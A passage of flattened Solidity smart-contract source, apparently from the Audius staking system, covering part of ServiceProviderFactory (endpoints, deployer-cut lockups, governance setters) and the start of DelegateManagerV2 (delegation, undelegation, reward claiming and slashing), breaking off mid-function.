"ServiceProviderFactory: Invalid update endpoint operation, wrong owner"
);
require(
keccak256(bytes(serviceEndpoint.endpoint)) == keccak256(bytes(_oldEndpoint)),
"ServiceProviderFactory: Old endpoint doesn't match what's registered for the service provider"
);
// invalidate old endpoint
serviceProviderEndpointToId[keccak256(bytes(serviceEndpoint.endpoint))] = 0;
// update to new endpoint
serviceEndpoint.endpoint = _newEndpoint;
serviceProviderInfo[_serviceType][spId] = serviceEndpoint;
serviceProviderEndpointToId[keccak256(bytes(_newEndpoint))] = spId;
emit EndpointUpdated(_serviceType, msg.sender, _oldEndpoint, _newEndpoint, spId);
return spId;
}
/**
* @notice Update the deployer cut for a given service provider
* @param _serviceProvider - address of service provider
* @param _cut - new value for deployer cut
*/
function requestUpdateDeployerCut(address _serviceProvider, uint256 _cut) external
{
_requireIsInitialized();
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
(updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock == 0) &&
(updateDeployerCutRequests[_serviceProvider].newDeployerCut == 0),
"ServiceProviderFactory: Update deployer cut operation pending"
);
require(
_cut <= DEPLOYER_CUT_BASE,
"ServiceProviderFactory: Service Provider cut cannot exceed base value"
);
uint256 expiryBlock = block.number + deployerCutLockupDuration;
updateDeployerCutRequests[_serviceProvider] = UpdateDeployerCutRequest({
lockupExpiryBlock: expiryBlock,
newDeployerCut: _cut
});
emit DeployerCutUpdateRequested(_serviceProvider, _cut, expiryBlock);
}
/**
* @notice Cancel a pending request to update deployer cut
* @param _serviceProvider - address of service provider
*/
function cancelUpdateDeployerCut(address _serviceProvider) external
{
_requireIsInitialized();
_requirePendingDeployerCutOperation(_serviceProvider);
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
UpdateDeployerCutRequest memory cancelledRequest = (
updateDeployerCutRequests[_serviceProvider]
);
// Zero out request information
delete updateDeployerCutRequests[_serviceProvider];
emit DeployerCutUpdateRequestCancelled(
_serviceProvider,
cancelledRequest.newDeployerCut,
spDetails[_serviceProvider].deployerCut
);
}
/**
* @notice Evalue request to update service provider cut of claims
* @notice Update service provider cut as % of delegate claim, divided by the deployerCutBase.
* @dev SPs will interact with this value as a percent, value translation done client side
@dev A value of 5 dictates a 5% cut, with ( 5 / 100 ) * delegateReward going to an SP from each delegator each round.
*/
function updateDeployerCut(address _serviceProvider) external
{
_requireIsInitialized();
_requirePendingDeployerCutOperation(_serviceProvider);
require(
msg.sender == _serviceProvider || msg.sender == governanceAddress,
ERROR_ONLY_SP_GOVERNANCE
);
require(
updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock <= block.number,
"ServiceProviderFactory: Lockup must be expired"
);
spDetails[_serviceProvider].deployerCut = (
updateDeployerCutRequests[_serviceProvider].newDeployerCut
);
// Zero out request information
delete updateDeployerCutRequests[_serviceProvider];
emit DeployerCutUpdateRequestEvaluated(
_serviceProvider,
spDetails[_serviceProvider].deployerCut
);
}
/**
* @notice Update service provider balance
* @dev Called by DelegateManager by functions modifying entire stake like claim and slash
* @param _serviceProvider - address of service provider
* @param _amount - new amount of direct state for service provider
*/
function updateServiceProviderStake(
address _serviceProvider,
uint256 _amount
) external
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
"ServiceProviderFactory: only callable by DelegateManager"
);
// Update SP tracked total
spDetails[_serviceProvider].deployerStake = _amount;
_updateServiceProviderBoundStatus(_serviceProvider);
}
/// @notice Update service provider lockup duration
function updateDecreaseStakeLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(
msg.sender == governanceAddress,
ERROR_ONLY_GOVERNANCE
);
_updateDecreaseStakeLockupDuration(_duration);
emit DecreaseStakeLockupDurationUpdated(_duration);
}
/// @notice Update service provider lockup duration
function updateDeployerCutLockupDuration(uint256 _duration) external {
_requireIsInitialized();
require(
msg.sender == governanceAddress,
ERROR_ONLY_GOVERNANCE
);
_updateDeployerCutLockupDuration(_duration);
emit UpdateDeployerCutLockupDurationUpdated(_duration);
}
/// @notice Get denominator for deployer cut calculations
function getServiceProviderDeployerCutBase()
external view returns (uint256)
{
_requireIsInitialized();
return DEPLOYER_CUT_BASE;
}
/// @notice Get current deployer cut update lockup duration
function getDeployerCutLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return deployerCutLockupDuration;
}
/// @notice Get total number of service providers for a given serviceType
function getTotalServiceTypeProviders(bytes32 _serviceType)
external view returns (uint256)
{
_requireIsInitialized();
return serviceProviderTypeIDs[_serviceType];
}
/// @notice Get service provider id for an endpoint
function getServiceProviderIdFromEndpoint(string calldata _endpoint)
external view returns (uint256)
{
_requireIsInitialized();
return serviceProviderEndpointToId[keccak256(bytes(_endpoint))];
}
/**
* @notice Get service provider ids for a given service provider and service type
* @return List of service ids of that type for a service provider
*/
function getServiceProviderIdsFromAddress(address _ownerAddress, bytes32 _serviceType)
external view returns (uint256[] memory)
{
_requireIsInitialized();
return serviceProviderAddressToId[_ownerAddress][_serviceType];
}
/**
* @notice Get information about a service endpoint given its service id
* @param _serviceType - type of service, must be a valid service from ServiceTypeManager
* @param _serviceId - id of service
*/
function getServiceEndpointInfo(bytes32 _serviceType, uint256 _serviceId)
external view returns (address owner, string memory endpoint, uint256 blockNumber, address delegateOwnerWallet)
{
_requireIsInitialized();
ServiceEndpoint memory serviceEndpoint = serviceProviderInfo[_serviceType][_serviceId];
return (
serviceEndpoint.owner,
serviceEndpoint.endpoint,
serviceEndpoint.blocknumber,
serviceEndpoint.delegateOwnerWallet
);
}
/**
* @notice Get information about a service provider given their address
* @param _serviceProvider - address of service provider
*/
function getServiceProviderDetails(address _serviceProvider)
external view returns (
uint256 deployerStake,
uint256 deployerCut,
bool validBounds,
uint256 numberOfEndpoints,
uint256 minAccountStake,
uint256 maxAccountStake)
{
_requireIsInitialized();
return (
spDetails[_serviceProvider].deployerStake,
spDetails[_serviceProvider].deployerCut,
spDetails[_serviceProvider].validBounds,
spDetails[_serviceProvider].numberOfEndpoints,
spDetails[_serviceProvider].minAccountStake,
spDetails[_serviceProvider].maxAccountStake
);
}
/**
* @notice Get information about pending decrease stake requests for service provider
* @param _serviceProvider - address of service provider
*/
function getPendingDecreaseStakeRequest(address _serviceProvider)
external view returns (uint256 amount, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
return (
decreaseStakeRequests[_serviceProvider].decreaseAmount,
decreaseStakeRequests[_serviceProvider].lockupExpiryBlock
);
}
/**
* @notice Get information about pending decrease stake requests for service provider
* @param _serviceProvider - address of service provider
*/
function getPendingUpdateDeployerCutRequest(address _serviceProvider)
external view returns (uint256 newDeployerCut, uint256 lockupExpiryBlock)
{
_requireIsInitialized();
return (
updateDeployerCutRequests[_serviceProvider].newDeployerCut,
updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock
);
}
/// @notice Get current unstake lockup duration
function getDecreaseStakeLockupDuration()
external view returns (uint256)
{
_requireIsInitialized();
return decreaseStakeLockupDuration;
}
/**
* @notice Validate that the total service provider balance is between the min and max stakes
for all their registered services and validate direct stake for sp is above minimum
* @param _serviceProvider - address of service provider
*/
function validateAccountStakeBalance(address _serviceProvider)
external view
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_validateBalanceInternal(
_serviceProvider,
Staking(stakingAddress).totalStakedFor(_serviceProvider)
);
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address) {
_requireIsInitialized();
return stakingAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/// @notice Get the ServiceTypeManager address
function getServiceTypeManagerAddress() external view returns (address) {
_requireIsInitialized();
return serviceTypeManagerAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _address - address for new Staking contract
*/
function setStakingAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _address;
emit StakingAddressUpdated(_address);
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _address - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _address;
emit DelegateManagerAddressUpdated(_address);
}
/**
* @notice Set the ServiceTypeManager address
* @dev Only callable by Governance address
* @param _address - address for new ServiceTypeManager contract
*/
function setServiceTypeManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceTypeManagerAddress = _address;
emit ServiceTypeManagerAddressUpdated(_address);
}
/**
* @notice Set the ClaimsManager address
* @dev Only callable by Governance address
* @param _address - address for new ClaimsManager contract
*/
function setClaimsManagerAddress(address _address) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _address;
emit ClaimsManagerAddressUpdated(_address);
}
// ========================================= Internal Functions =========================================
/**
* @notice Update status in spDetails if the bounds for a service provider is valid
*/
function _updateServiceProviderBoundStatus(address _serviceProvider) internal {
// Validate bounds for total stake
uint256 totalSPStake = Staking(stakingAddress).totalStakedFor(_serviceProvider);
if (totalSPStake < spDetails[_serviceProvider].minAccountStake ||
totalSPStake > spDetails[_serviceProvider].maxAccountStake) {
// Indicate this service provider is out of bounds
spDetails[_serviceProvider].validBounds = false;
} else {
// Indicate this service provider is within bounds
spDetails[_serviceProvider].validBounds = true;
}
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ServiceProviderFactory: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
/**
* @notice Set the deployer cut lockup duration
* @param _duration - incoming duration
*/
function _updateDeployerCutLockupDuration(uint256 _duration) internal
{
require(
ClaimsManager(claimsManagerAddress).getFundingRoundBlockDiff() < _duration,
"ServiceProviderFactory: Incoming duration must be greater than funding round block diff"
);
deployerCutLockupDuration = _duration;
}
/**
* @notice Set the decrease stake lockup duration
* @param _duration - incoming duration
*/
function _updateDecreaseStakeLockupDuration(uint256 _duration) internal
{
Governance governance = Governance(governanceAddress);
require(
_duration > governance.getVotingPeriod() + governance.getExecutionDelay(),
"ServiceProviderFactory: decreaseStakeLockupDuration duration must be greater than governance votingPeriod + executionDelay"
);
decreaseStakeLockupDuration = _duration;
}
/**
* @notice Compare a given amount input against valid min and max bounds for service provider
* @param _serviceProvider - address of service provider
* @param _amount - amount in wei to compare
*/
function _validateBalanceInternal(address _serviceProvider, uint256 _amount) internal view
{
require(
_amount <= spDetails[_serviceProvider].maxAccountStake,
"ServiceProviderFactory: Maximum stake amount exceeded"
);
require(
spDetails[_serviceProvider].deployerStake >= spDetails[_serviceProvider].minAccountStake,
"ServiceProviderFactory: Minimum stake requirement not met"
);
}
/**
* @notice Get whether a decrease request has been initiated for service provider
* @param _serviceProvider - address of service provider
* return Boolean of whether decrease request has been initiated
*/
function _decreaseRequestIsPending(address _serviceProvider)
internal view returns (bool)
{
return (
(decreaseStakeRequests[_serviceProvider].lockupExpiryBlock > 0) &&
(decreaseStakeRequests[_serviceProvider].decreaseAmount > 0)
);
}
/**
* @notice Boolean indicating whether a claim is pending for this service provider
*/
/**
* @notice Get whether a claim is pending for this service provider
* @param _serviceProvider - address of service provider
* return Boolean of whether claim is pending
*/
function _claimPending(address _serviceProvider) internal view returns (bool) {
return ClaimsManager(claimsManagerAddress).claimPending(_serviceProvider);
}
// ========================================= Private Functions =========================================
function _requirePendingDeployerCutOperation (address _serviceProvider) private view {
require(
(updateDeployerCutRequests[_serviceProvider].lockupExpiryBlock != 0),
"ServiceProviderFactory: No update deployer cut operation pending"
);
}
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"ServiceProviderFactory: stakingAddress is not set"
);
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"ServiceProviderFactory: delegateManagerAddress is not set"
);
}
function _requireServiceTypeManagerAddressIsSet() private view {
require(
serviceTypeManagerAddress != address(0x00),
"ServiceProviderFactory: serviceTypeManagerAddress is not set"
);
}
function _requireClaimsManagerAddressIsSet() private view {
require(
claimsManagerAddress != address(0x00),
"ServiceProviderFactory: claimsManagerAddress is not set"
);
}
}
// File: contracts/DelegateManager.sol
pragma solidity ^0.5.0;
/// @notice SafeMath imported via ServiceProviderFactory.sol
/// @notice Governance imported via Staking.sol
/**
* Designed to manage delegation to staking contract
*/
contract DelegateManagerV2 is InitializableV2 {
using SafeMath for uint256;
string private constant ERROR_ONLY_GOVERNANCE = (
"DelegateManager: Only callable by Governance contract"
);
string private constant ERROR_MINIMUM_DELEGATION = (
"DelegateManager: Minimum delegation amount required"
);
string private constant ERROR_ONLY_SP_GOVERNANCE = (
"DelegateManager: Only callable by target SP or governance"
);
string private constant ERROR_DELEGATOR_STAKE = (
"DelegateManager: Delegator must be staked for SP"
);
address private governanceAddress;
address private stakingAddress;
address private serviceProviderFactoryAddress;
address private claimsManagerAddress;
/**
* Period in blocks an undelegate operation is delayed.
* The undelegate operation speed bump is to prevent a delegator from
* attempting to remove their delegation in anticipation of a slash.
* @notice Must be greater than governance votingPeriod + executionDelay
*/
uint256 private undelegateLockupDuration;
/// @notice Maximum number of delegators a single account can handle
uint256 private maxDelegators;
/// @notice Minimum amount of delegation allowed
uint256 private minDelegationAmount;
/**
* Lockup duration for a remove delegator request.
* The remove delegator speed bump is to prevent a service provider from maliciously
* removing a delegator prior to the evaluation of a proposal.
* @notice Must be greater than governance votingPeriod + executionDelay
*/
uint256 private removeDelegatorLockupDuration;
/**
* Evaluation period for a remove delegator request
* @notice added to expiry block calculated for removeDelegatorLockupDuration
*/
uint256 private removeDelegatorEvalDuration;
// Staking contract ref
ERC20Mintable private audiusToken;
// Struct representing total delegated to SP and list of delegators
struct ServiceProviderDelegateInfo {
uint256 totalDelegatedStake;
uint256 totalLockedUpStake;
address[] delegators;
}
// Data structures for lockup during withdrawal
struct UndelegateStakeRequest {
address serviceProvider;
uint256 amount;
uint256 lockupExpiryBlock;
}
// Service provider address -> ServiceProviderDelegateInfo
mapping (address => ServiceProviderDelegateInfo) private spDelegateInfo;
// Delegator stake by address delegated to
// delegator -> (service provider -> delegatedStake)
mapping (address => mapping(address => uint256)) private delegateInfo;
// Delegator stake total by address
// delegator -> (totalDelegated)
// Note - delegator properties are maintained in a mapping instead of struct
// in order to facilitate extensibility in the future.
mapping (address => uint256) private delegatorTotalStake;
// Requester to pending undelegate request
mapping (address => UndelegateStakeRequest) private undelegateRequests;
// Pending remove delegator requests
// service provider -> (delegator -> lockupExpiryBlock)
mapping (address => mapping (address => uint256)) private removeDelegatorRequests;
event IncreaseDelegatedStake(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _increaseAmount
);
event UndelegateStakeRequested(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount,
uint256 _lockupExpiryBlock
);
event UndelegateStakeRequestCancelled(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount
);
event UndelegateStakeRequestEvaluated(
address indexed _delegator,
address indexed _serviceProvider,
uint256 indexed _amount
);
event Claim(
address indexed _claimer,
uint256 indexed _rewards,
uint256 indexed _newTotal
);
event Slash(
address indexed _target,
uint256 indexed _amount,
uint256 indexed _newTotal
);
event RemoveDelegatorRequested(
address indexed _serviceProvider,
address indexed _delegator,
uint256 indexed _lockupExpiryBlock
);
event RemoveDelegatorRequestCancelled(
address indexed _serviceProvider,
address indexed _delegator
);
event RemoveDelegatorRequestEvaluated(
address indexed _serviceProvider,
address indexed _delegator,
uint256 indexed _unstakedAmount
);
event MaxDelegatorsUpdated(uint256 indexed _maxDelegators);
event MinDelegationUpdated(uint256 indexed _minDelegationAmount);
event UndelegateLockupDurationUpdated(uint256 indexed _undelegateLockupDuration);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress);
event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress);
event RemoveDelegatorLockupDurationUpdated(uint256 indexed _removeDelegatorLockupDuration);
event RemoveDelegatorEvalDurationUpdated(uint256 indexed _removeDelegatorEvalDuration);
// ========================================= New State Variables =========================================
string private constant ERROR_ONLY_SERVICE_PROVIDER = (
"DelegateManager: Only callable by valid Service Provider"
);
// minDelegationAmount per service provider
mapping (address => uint256) private spMinDelegationAmounts;
event SPMinDelegationAmountUpdated(
address indexed _serviceProvider,
uint256 indexed _spMinDelegationAmount
);
// ========================================= Modifier Functions =========================================
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @param _tokenAddress - address of ERC20 token that will be claimed
* @param _governanceAddress - Governance proxy address
*/
function initialize (
address _tokenAddress,
address _governanceAddress,
uint256 _undelegateLockupDuration
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
audiusToken = ERC20Mintable(_tokenAddress);
maxDelegators = 175;
// Default minimum delegation amount set to 100AUD
minDelegationAmount = 100 * 10**uint256(18);
InitializableV2.initialize();
_updateUndelegateLockupDuration(_undelegateLockupDuration);
// 1 week = 168hrs * 60 min/hr * 60 sec/min / ~13 sec/block = 46523 blocks
_updateRemoveDelegatorLockupDuration(46523);
// 24hr * 60min/hr * 60sec/min / ~13 sec/block = 6646 blocks
removeDelegatorEvalDuration = 6646;
}
/**
* @notice Allow a delegator to delegate stake to a service provider
* @param _targetSP - address of service provider to delegate to
* @param _amount - amount in wei to delegate
* @return Updated total amount delegated to the service provider by delegator
*/
function delegateStake(
address _targetSP,
uint256 _amount
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
!_claimPending(_targetSP),
"DelegateManager: Delegation not permitted for SP pending claim"
);
address delegator = msg.sender;
Staking stakingContract = Staking(stakingAddress);
// Stake on behalf of target service provider
stakingContract.delegateStakeFor(
_targetSP,
delegator,
_amount
);
// Update list of delegators to SP if necessary
if (!_delegatorExistsForSP(delegator, _targetSP)) {
// If not found, update list of delegates
spDelegateInfo[_targetSP].delegators.push(delegator);
require(
spDelegateInfo[_targetSP].delegators.length <= maxDelegators,
"DelegateManager: Maximum delegators exceeded"
);
}
// Update following values in storage through helper
// totalServiceProviderDelegatedStake = current sp total + new amount,
// totalStakedForSpFromDelegator = current delegator total for sp + new amount,
// totalDelegatorStake = current delegator total + new amount
_updateDelegatorStake(
delegator,
_targetSP,
spDelegateInfo[_targetSP].totalDelegatedStake.add(_amount),
delegateInfo[delegator][_targetSP].add(_amount),
delegatorTotalStake[delegator].add(_amount)
);
// Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount
// since spMinDelegationAmount by default is 0
require(
(delegateInfo[delegator][_targetSP] >= minDelegationAmount &&
delegateInfo[delegator][_targetSP] >= spMinDelegationAmounts[_targetSP]
),
ERROR_MINIMUM_DELEGATION
);
// Validate balance
ServiceProviderFactory(
serviceProviderFactoryAddress
).validateAccountStakeBalance(_targetSP);
emit IncreaseDelegatedStake(
delegator,
_targetSP,
_amount
);
// Return new total
return delegateInfo[delegator][_targetSP];
}
/**
* @notice Submit request for undelegation
* @param _target - address of service provider to undelegate stake from
* @param _amount - amount in wei to undelegate
* @return Updated total amount delegated to the service provider by delegator
*/
function requestUndelegateStake(
address _target,
uint256 _amount
) external returns (uint256)
{
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
_amount > 0,
"DelegateManager: Requested undelegate stake amount must be greater than zero"
);
require(
!_claimPending(_target),
"DelegateManager: Undelegate request not permitted for SP pending claim"
);
address delegator = msg.sender;
require(
_delegatorExistsForSP(delegator, _target),
ERROR_DELEGATOR_STAKE
);
// Confirm no pending delegation request
require(
!_undelegateRequestIsPending(delegator),
"DelegateManager: No pending lockup expected"
);
// Ensure valid bounds
uint256 currentlyDelegatedToSP = delegateInfo[delegator][_target];
require(
_amount <= currentlyDelegatedToSP,
"DelegateManager: Cannot decrease greater than currently staked for this ServiceProvider"
);
// Submit updated request for sender, with target sp, undelegate amount, target expiry block
uint256 lockupExpiryBlock = block.number.add(undelegateLockupDuration);
_updateUndelegateStakeRequest(
delegator,
_target,
_amount,
lockupExpiryBlock
);
// Update total locked for this service provider, increasing by unstake amount
_updateServiceProviderLockupAmount(
_target,
spDelegateInfo[_target].totalLockedUpStake.add(_amount)
);
emit UndelegateStakeRequested(delegator, _target, _amount, lockupExpiryBlock);
return delegateInfo[delegator][_target].sub(_amount);
}
/**
* @notice Cancel undelegation request
*/
function cancelUndelegateStakeRequest() external {
_requireIsInitialized();
address delegator = msg.sender;
// Confirm pending delegation request
require(
_undelegateRequestIsPending(delegator),
"DelegateManager: Pending lockup expected"
);
uint256 unstakeAmount = undelegateRequests[delegator].amount;
address unlockFundsSP = undelegateRequests[delegator].serviceProvider;
// Update total locked for this service provider, decreasing by unstake amount
_updateServiceProviderLockupAmount(
unlockFundsSP,
spDelegateInfo[unlockFundsSP].totalLockedUpStake.sub(unstakeAmount)
);
// Remove pending request
_resetUndelegateStakeRequest(delegator);
emit UndelegateStakeRequestCancelled(delegator, unlockFundsSP, unstakeAmount);
}
/**
* @notice Finalize undelegation request and withdraw stake
* @return New total amount currently staked after stake has been undelegated
*/
function undelegateStake() external returns (uint256) {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
address delegator = msg.sender;
// Confirm pending delegation request
require(
_undelegateRequestIsPending(delegator),
"DelegateManager: Pending lockup expected"
);
// Confirm lockup expiry has expired
require(
undelegateRequests[delegator].lockupExpiryBlock <= block.number,
"DelegateManager: Lockup must be expired"
);
// Confirm no pending claim for this service provider
require(
!_claimPending(undelegateRequests[delegator].serviceProvider),
"DelegateManager: Undelegate not permitted for SP pending claim"
);
address serviceProvider = undelegateRequests[delegator].serviceProvider;
uint256 unstakeAmount = undelegateRequests[delegator].amount;
// Unstake on behalf of target service provider
Staking(stakingAddress).undelegateStakeFor(
serviceProvider,
delegator,
unstakeAmount
);
// Update total delegated for SP
// totalServiceProviderDelegatedStake - total amount delegated to service provider
// totalStakedForSpFromDelegator - amount staked from this delegator to targeted service provider
_updateDelegatorStake(
delegator,
serviceProvider,
spDelegateInfo[serviceProvider].totalDelegatedStake.sub(unstakeAmount),
delegateInfo[delegator][serviceProvider].sub(unstakeAmount),
delegatorTotalStake[delegator].sub(unstakeAmount)
);
// Need to ensure delegationAmount is >= both minDelegationAmount and spMinDelegationAmount
// since spMinDelegationAmount by default is 0
// Only exception is when delegating entire stake down to 0
require(
(
delegateInfo[delegator][serviceProvider] >= minDelegationAmount &&
delegateInfo[delegator][serviceProvider] >= spMinDelegationAmounts[serviceProvider]
) || delegateInfo[delegator][serviceProvider] == 0,
ERROR_MINIMUM_DELEGATION
);
// Remove from delegators list if no delegated stake remaining
if (delegateInfo[delegator][serviceProvider] == 0) {
_removeFromDelegatorsList(serviceProvider, delegator);
}
// Update total locked for this service provider, decreasing by unstake amount
_updateServiceProviderLockupAmount(
serviceProvider,
spDelegateInfo[serviceProvider].totalLockedUpStake.sub(unstakeAmount)
);
// Reset undelegate request
_resetUndelegateStakeRequest(delegator);
emit UndelegateStakeRequestEvaluated(
delegator,
serviceProvider,
unstakeAmount
);
// Need to update service provider's `validBounds` flag
// Only way to do this is through `SPFactory.updateServiceProviderStake()`
// So we call it with the existing `spDeployerStake`
(uint256 spDeployerStake,,,,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(serviceProvider)
);
ServiceProviderFactory(serviceProviderFactoryAddress).updateServiceProviderStake(
serviceProvider, spDeployerStake
);
// Return new total
return delegateInfo[delegator][serviceProvider];
}
/**
* @notice Claim and distribute rewards to delegators and service provider as necessary
* @param _serviceProvider - Provider for which rewards are being distributed
* @dev Factors in service provider rewards from delegator and transfers deployer cut
*/
function claimRewards(address _serviceProvider) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireClaimsManagerAddressIsSet();
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
// Total rewards = (balance in staking) - ((balance in sp factory) + (balance in delegate manager))
(
uint256 totalBalanceInStaking,
uint256 totalBalanceInSPFactory,
uint256 totalActiveFunds,
uint256 totalRewards,
uint256 deployerCut
) = _validateClaimRewards(spFactory, _serviceProvider);
// No-op if balance is already equivalent
// This case can occur if no rewards due to bound violation or all stake is locked
if (totalRewards == 0) {
return;
}
uint256 totalDelegatedStakeIncrease = _distributeDelegateRewards(
_serviceProvider,
totalActiveFunds,
totalRewards,
deployerCut,
spFactory.getServiceProviderDeployerCutBase()
);
// Update total delegated to this SP
spDelegateInfo[_serviceProvider].totalDelegatedStake = (
spDelegateInfo[_serviceProvider].totalDelegatedStake.add(totalDelegatedStakeIncrease)
);
// spRewardShare represents rewards directly allocated to service provider for their stake
// Value is computed as the remainder of total minted rewards after distribution to
// delegators, eliminating any potential for precision loss.
uint256 spRewardShare = totalRewards.sub(totalDelegatedStakeIncrease);
// Adding the newly calculated reward share to current balance
uint256 newSPFactoryBalance = totalBalanceInSPFactory.add(spRewardShare);
require(
totalBalanceInStaking == newSPFactoryBalance.add(spDelegateInfo[_serviceProvider].totalDelegatedStake),
"DelegateManager: claimRewards amount mismatch"
);
spFactory.updateServiceProviderStake(
_serviceProvider,
newSPFactoryBalance
);
}
/**
* @notice Reduce current stake amount
* @dev Only callable by governance. Slashes service provider and delegators equally
* @param _amount - amount in wei to slash
* @param _slashAddress - address of service provider to slash
*/
function slash(uint256 _amount, address _slashAddress)
external
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
Staking stakingContract = Staking(stakingAddress);
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
// Amount stored in staking contract for owner
uint256 totalBalanceInStakingPreSlash = stakingContract.totalStakedFor(_slashAddress);
require(
(totalBalanceInStakingPreSlash >= _amount),
"DelegateManager: Cannot slash more than total currently staked"
);
// Cancel any withdrawal request for this service provider
(uint256 spLockedStake,) = spFactory.getPendingDecreaseStakeRequest(_slashAddress);
if (spLockedStake > 0) {
spFactory.cancelDecreaseStakeRequest(_slashAddress);
}
// Amount in sp factory for slash target
(uint256 totalBalanceInSPFactory,,,,,) = (
spFactory.getServiceProviderDetails(_slashAddress)
);
require(
totalBalanceInSPFactory > 0,
"DelegateManager: Service Provider stake required"
);
// Decrease value in Staking contract
// A value of zero slash will fail in staking, reverting this transaction
stakingContract.slash(_amount, _slashAddress);
uint256 totalBalanceInStakingAfterSlash = stakingContract.totalStakedFor(_slashAddress);
// Emit slash event
emit Slash(_slashAddress, _amount, totalBalanceInStakingAfterSlash);
uint256 totalDelegatedStakeDecrease = 0;
// For each delegator and deployer, recalculate new value
// newStakeAmount = newStakeAmount * (oldStakeAmount / totalBalancePreSlash)
for (uint256 i = 0; i < spDelegateInfo[_slashAddress].delegators.length; i++) {
address delegator = spDelegateInfo[_slashAddress].delegators[i];
uint256 preSlashDelegateStake = delegateInfo[delegator][_slashAddress];
uint256 newDelegateStake = (
totalBalanceInStakingAfterSlash.mul(preSlashDelegateStake)
).div(totalBalanceInStakingPreSlash);
// slashAmountForDelegator = preSlashDelegateStake - newDelegateStake;
delegateInfo[delegator][_slashAddress] = (
delegateInfo[delegator][_slashAddress].sub(preSlashDelegateStake.sub(newDelegateStake))
);
// Update total stake for delegator
_updateDelegatorTotalStake(
delegator,
delegatorTotalStake[delegator].sub(preSlashDelegateStake.sub(newDelegateStake))
);
// Update total decrease amount
totalDelegatedStakeDecrease = (
totalDelegatedStakeDecrease.add(preSlashDelegateStake.sub(newDelegateStake))
);
// Check for any locked up funds for this slashed delegator
// Slash overrides any pending withdrawal requests
if (undelegateRequests[delegator].amount != 0) {
address unstakeSP = undelegateRequests[delegator].serviceProvider;
uint256 unstakeAmount = undelegateRequests[delegator].amount;
// Remove pending request
_updateServiceProviderLockupAmount(
unstakeSP,
spDelegateInfo[unstakeSP].totalLockedUpStake.sub(unstakeAmount)
);
_resetUndelegateStakeRequest(delegator);
}
}
// Update total delegated to this SP
spDelegateInfo[_slashAddress].totalDelegatedStake = (
spDelegateInfo[_slashAddress].totalDelegatedStake.sub(totalDelegatedStakeDecrease)
);
// Remaining decrease applied to service provider
uint256 totalStakeDecrease = (
totalBalanceInStakingPreSlash.sub(totalBalanceInStakingAfterSlash)
);
uint256 totalSPFactoryBalanceDecrease = (
totalStakeDecrease.sub(totalDelegatedStakeDecrease)
);
spFactory.updateServiceProviderStake(
